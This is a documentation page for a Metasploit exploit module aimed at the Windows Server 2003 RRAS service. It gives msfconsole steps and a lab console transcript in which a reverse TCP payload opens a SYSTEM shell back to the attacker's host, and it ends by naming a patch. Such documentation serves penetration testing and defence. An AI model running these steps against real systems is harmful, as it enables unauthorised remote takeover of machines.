ContextQMD
Back to Metasploit Framework

Smb Rras Erraticgopher

documentation/modules/exploit/windows/smb/smb_rras_erraticgopher.md

6.4.1312.8 KB
Original Source

Vulnerable Application

This module exploits an overflow in the Windows Routing and Remote Access Service (RRAS) to execute code as SYSTEM.

The RRAS DCERPC endpoint is accessible to unauthenticated users via SMBv1 browser named pipe on Windows Server 2003 and Windows XP hosts; however, this module targets Windows Server 2003 only.

Since the service is hosted inside svchost.exe, a failed exploit attempt can cause other system services to fail as well.

The module has been successfully tested on:

  • Windows Server 2003 SP0 (x86)
  • Windows Server 2003 SP1 (x86)
  • Windows Server 2003 SP2 (x86)
  • Windows Server 2003 R2 SP2 (x86)

Verification Steps

Windows:

  • Launch services.msc
  • Start Routing and Remote Access Service

Note that the service may take up to one minute to start.

Metasploit:

  1. Start msfconsole
  2. Do: use exploit/windows/smb/smb_rras_erraticgopher
  3. Do: set rhosts <rhosts>
  4. Do: run
  5. You should get a SYSTEM shell.

Options

SMBPIPE

The pipe name to use (default: browser)

Scenarios

Windows Server 2003 R2 SP2 (x86)

msf > use exploit/windows/smb/smb_rras_erraticgopher 
[*] Using configured payload windows/shell/reverse_tcp
msf exploit(windows/smb/smb_rras_erraticgopher) > set rhosts 172.16.191.171
rhosts => 172.16.191.171
msf exploit(windows/smb/smb_rras_erraticgopher) > check
[*] 172.16.191.171:445 - The service is running, but could not be validated. RRAS enabled and accessible.
msf exploit(windows/smb/smb_rras_erraticgopher) > set lhost 172.16.191.192 
lhost => 172.16.191.192
msf exploit(windows/smb/smb_rras_erraticgopher) > run

[*] Started reverse TCP handler on 172.16.191.192:4444 
[*] 172.16.191.171:445 - Binding to 8f09f000-b7ed-11ce-bbd2-00001a181cad:0.0@ncacn_np:172.16.191.171[\browser] ...
[*] 172.16.191.171:445 - Bound to 8f09f000-b7ed-11ce-bbd2-00001a181cad:0.0@ncacn_np:172.16.191.171[\browser] ...
[*] 172.16.191.171:445 - Selecting a target ...
[*] 172.16.191.171:445 - Fingerprint: Windows 2003 R2 (Service Pack 2) - Language: Unknown
[*] 172.16.191.171:445 - Could not detect the language pack, defaulting to English
[*] 172.16.191.171:445 - Using target: Windows Server 2003 R2 SP2 (English) (NX)
[*] 172.16.191.171:445 - Calling RRAS MIBEntryGet with payload (1876 bytes) ...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 172.16.191.171
[*] Command shell session 1 opened (172.16.191.192:4444 -> 172.16.191.171:1029) at 2021-03-02 18:57:40 -0500

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>

Mitigation

Microsoft have released KB4024323 for Windows 2003 and Windows XP: